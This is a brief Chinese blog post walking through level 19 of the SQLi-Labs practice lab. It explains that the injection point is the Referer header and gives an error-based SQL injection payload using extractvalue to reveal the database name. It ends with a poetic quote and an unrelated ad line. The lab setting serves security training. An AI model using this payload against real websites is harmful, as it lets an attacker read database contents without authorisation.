SQLI DUMB SERIES-19

（1）根据题意，从Referer入手

（2）报错注入与上一关相同。如爆库名：

'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

 

由于无法解释的神圣旨意，我们徒然地到处找你；你就是孤独，你就是神秘，比恒河或者日落还要遥远。。。。。。
【推广】 免费学中医，健康全家人
原文地址：https://www.cnblogs.com/momoli/p/10705905.html